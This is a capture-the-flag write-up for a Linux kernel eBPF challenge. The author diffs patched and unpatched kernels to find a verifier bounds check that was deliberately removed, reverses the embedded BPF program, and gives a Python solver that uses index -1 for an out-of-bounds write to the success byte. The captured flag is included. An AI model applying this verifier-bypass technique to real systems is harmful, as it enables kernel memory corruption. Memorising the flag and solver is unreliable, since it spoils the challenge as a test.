Stupidcontract
kitctf
Task: Linux kernel pwn with a patched eBPF verifier (patched vs unpatched bzImage) running an embedded aya eBPF reservation contract; the verifier's map-value bounds check was deleted and an embedded program does `DATA[index+1]=roll` with a signed-only index check. Solution: kernel-diff to find the removed check_mem_region_access bounds check, reverse the embedded BPF, then send index -1 to OOB-write the success byte DATA[0] (data-only), coasting with index 100 to preserve it until the validator prints the flag.
$ ls tags/ techniques/
Stupidcontract — GPN24 / KITctf
Description
I recently learned that Solana contracts are just ebpf bytecode and thought: "Why do I need a Solana vm for that if my kernel can just execute it". So, after some tinkering, I let my kernel do what it does best: execute user provided code to enable gambling (and make me rich).
A QEMU guest runs a Rust "restaurant reservation smart contract" (/usr/bin/stupidcontract,
built with the aya eBPF library). It prints 100 restaurant names, then runs 300 rounds:
each round asks for a restaurant index, and a reservation "succeeds" with ~20% probability
(kernel bpf_get_prandom_u32). The win condition is a reservation to all 100 restaurants,
after which the binary reads /tmp/flag-data/flag and prints it. 300 rounds for 100
restaurants is intentionally not winnable by RNG alone.
Provided: images/patched.bzImage + images/unpatched.bzImage (Linux 6.19.5), rootfs.ext2,
run-qemu.sh, Dockerfile/compose.yml (socat exposes the QEMU serial on TCP/1337).
The only stdin input is the decimal index. There is no user-supplied BPF program — the
eBPF is embedded in the binary. The num_instructions string in the binary is an aya-internal
BTF relocation field name (a red herring). The bug is reached purely through the index value
combined with the deliberately weakened kernel verifier.
Analysis
Step 1 — Kernel diffing (locating the vulnerability)
The patched/unpatched bzImage pair is the loudest hint. Extract vmlinux ELFs and diff
kallsyms:
vmlinux-to-elf images/patched.bzImage patched.elf vmlinux-to-elf images/unpatched.bzImage unpatched.elf nm patched.elf | sort > patched.syms nm unpatched.elf | sort > unpatched.syms diff patched.syms unpatched.syms
Symbol diff:
- Removed in patched:
__check_mem_access,check_mem_region_access,bpf_check - Added in patched:
check_map_access.isra.0(inlined),bpf_prepare(= renamedbpf_check, cosmetic)
Disassemble both versions of the map-value access checker (bounded by the next symbol):
objdump -d unpatched.elf --start-address=<check_map_access> --stop-address=<next> > cma_unpatched.asm objdump -d patched.elf --start-address=<check_map_access.isra.0> --stop-address=<next> > cma_patched.asm
- Unpatched
check_map_accesscallscheck_mem_region_access→__check_mem_access, which enforces the core bounds checkif (off < 0 || off + size > value_size) return -EACCES;before iterating the map record special fields (spin_lock/timer/etc). - Patched
check_map_access.isra.0: the call tocheck_mem_region_accessis completely gone. It jumps straight into the record special-field loop.
Conclusion: the patched verifier no longer enforces off + size <= value_size for
map-value access. Verified eBPF programs can now perform relative OOB (including negative and
variable-offset) accesses on a map's backing object. Classic deliberately-introduced verifier OOB.
Step 2 — Reversing the embedded eBPF
The Rust binary embeds 3 identical copies of an aya eBPF object via include_bytes! in
.rodata. Find them by scanning for ELF magic with e_machine == 247 (EM_BPF) and carve
one out using the ELF header (e_shoff + e_shnum*e_shentsize):
sections:
syscall : two programs
try_get_reservation @ 0x000, size 0xc28
validate_reservations @ 0xc28, size 0x0c0
.bss : global DATA, 101 bytes (symbol _RNvCs...stupidcontract4DATA, size 0x65)
maps / AYA_LOGS : logging
DATA layout: DATA[0] = SUCCESS byte; DATA[1..=100] = the 100 reservation booleans.
A tiny pyelftools-based BPF disassembler reads the syscall section and decodes 8-byte
bpf_insn (opcode u8, dst/src nibbles, off i16, imm i32; lddw is 16 bytes):
import struct from elftools.elf.elffile import ELFFile data = ELFFile(open('ebpf_0.o','rb')).get_section_by_name('syscall').data() ALUOP={0:'add',1:'sub',2:'mul',3:'div',4:'or',5:'and',6:'lsh',7:'rsh', 8:'neg',9:'mod',10:'xor',11:'mov',12:'arsh',13:'end'} JMPOP={0:'ja',1:'jeq',2:'jgt',3:'jge',4:'jset',5:'jne',6:'jsgt',7:'jsge', 0xa:'jlt',0xb:'jle',0xc:'jslt',0xd:'jsle',8:'call',9:'exit'} SIZE={0:'W',1:'H',2:'B',3:'DW'} def dis(off, end, name): print(f"=== {name} ===") i=off while i<end: op=data[i]; regs=data[i+1]; dst=regs&0xf; src=(regs>>4)&0xf offset=struct.unpack_from('<h',data,i+2)[0] imm=struct.unpack_from('<i',data,i+4)[0] cls=op&7; idx=(i-off)//8 if cls==0 and ((op>>5)&7)==3: # LDDW (imm64) imm2=struct.unpack_from('<i',data,i+12)[0] full=(imm2<<32)|(imm&0xffffffff) print(f"{idx:4} r{dst} = 0x{full:x} ll"); i+=16; continue if cls==1: print(f"{idx:4} r{dst} = *(u{SIZE[(op>>3)&3]})(r{src} {offset:+#x})") elif cls==3: print(f"{idx:4} *(u{SIZE[(op>>3)&3]})(r{dst} {offset:+#x}) = r{src}") elif cls in (4,7): o=(op>>4)&0xf; w='' if cls==7 else '32' rhs=f"r{src}" if (op&8) else f"{imm}" print(f"{idx:4} r{dst} {ALUOP.get(o,'?')}{w}= {rhs}") elif cls in (5,6): o=(op>>4)&0xf; opn=JMPOP.get(o,'?') if opn=='exit': print(f"{idx:4} exit") elif opn=='call': print(f"{idx:4} call {imm}") else: rhs=f"r{src}" if (op&8) else f"{imm}" print(f"{idx:4} if r{dst} {opn} {rhs} goto {idx+1+offset}") i+=8 dis(0,0xc28,'try_get_reservation') dis(0xc28,0xc28+0xc0,'validate_reservations')
Decoded logic:
try_get_reservation(ctx):
r7 = *(s64)(ctx + 0) ; the index
if (s64)r7 > 99 goto error ; SIGNED comparison, NO lower bound!
r0 = bpf_get_prandom_u32()
r1(32) = r0
r0 = 1; if 0x33333333 > r1 goto skip; r0 = 0 ; r0 = (rand < 0x33333333) ? 1 : 0 (~20%)
skip:
r1 = &DATA
r1 += r7
*(u8)(r1 + 1) = r0 ; DATA[r7 + 1] = r0 <-- OOB when r7 < 0
return -1 ; always
error:
; logs "Index out out bounds: <idx>" via AYA log, performs NO DATA write (pure no-op)
validate_reservations():
acc = 1
for i in 1..=100: acc &= (DATA[i] & 1)
if acc == 1: DATA[0] = 1 ; ONLY sets, never clears DATA[0]
return 0
Userspace (Rust) after the 300-round loop performs an aya map lookup on DATA (key u32 = 0),
reads DATA[0], and on DATA[0] == 1 prints
Thank you! You successfully got reservations to every restaurant, then
std::fs::read_to_string("/tmp/flag-data/flag") → As a thank you, here's your flag: <flag>.
Step 3 — Putting it together
Two weaknesses combine:
- The index bounds check is signed-only (
if (s64)index > 99), so a negative index is accepted by the program logic. - The patched verifier no longer enforces
off + size <= value_size, so a negative variable offset into the map value passes verification.
Therefore index = -1 makes the program write DATA[-1 + 1] = DATA[0] — directly into the
SUCCESS byte that the userspace gate checks. And validate_reservations only ever sets
DATA[0], never clears it.
Solution
Deterministic, data-only exploit (no ROP/shellcode):
- Send index
-1each round. On the round where the kernelprandomroll lands in the ~20% window, userspace printsYour reservation succeeded→DATA[0]is now1. - As soon as that success is observed, switch to index
100(>99→ error path, no DATA write) for every remaining round, soDATA[0]stays1. - After 300 rounds,
validate_reservationsleavesDATA[0]=1; userspace readsDATA[0]==1and prints the flag.
Reliability: probability of never rolling a success across the -1 attempts is 0.8^300 ≈ 0,
so this is effectively guaranteed. On the remote it succeeded on the very first -1 attempt.
Gotcha — I/O desync. Both the local QEMU serial and the remote socat echo input. Sending
lines faster than the prompt consumes them merges inputs and makes success detection flaky (an
early naive version coasting with index 0 failed sporadically). Fix: strictly synchronous
I/O — send exactly one line, wait for that round's [INFO ...]/[ERROR ...] result, then wait
for the next enter the index prompt before sending again. This made it 100% reliable.
Core of the solver loop (solve.py, transport-agnostic RECV()/read_until()):
# wait for the first reservation prompt read_until(r"enter the index", 150) COAST = "100" # >99 => error path, no DATA write (preserves DATA[0]) won = False for n in range(300): if n > 0: read_until(r"enter the index", 30) # wait for prompt marker = len(buf) W(("-1" if not won else COAST) + "\n") # send exactly one line read_until(r"\[(INFO|ERROR) ", 30) # wait for this round's result line if (not won) and b"succeeded" in buf[marker:]: won = True # DATA[0]=1; start coasting with 100 print(f"[+] DATA[0]=1 set at attempt {n+1}; coasting with index {COAST}") read_until(r"(GPNCTF\{|here's your flag|Sorry|Thank you)", 60)
Run against remote (TLS on 443, equivalent to
ncat --ssl <host> 443):
python3 solve.py --remote pan-seared-chorizo-crusted-with-sauced-mint-s2m1.gpn24.ctf.kitctf.de 443 --ssl
Output:
[+] DATA[0]=1 set at attempt 1; coasting with index 100
[INFO stupidcontract] Thank you! You successfully got reservations to every restaurant
[INFO stupidcontract] As a thank you, here's your flag: GPNCTF{Wa17, n0! Who sTOLE MY sECURity???}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [reverse][free]roulette— umdctf
- [crypto][free]COMpetition— gpn24
- [crypto][free]Easy DSA— gpnctf
- [pwn][Pro]Indexes— spbctf
- [reverse][free]loicense— pingCTF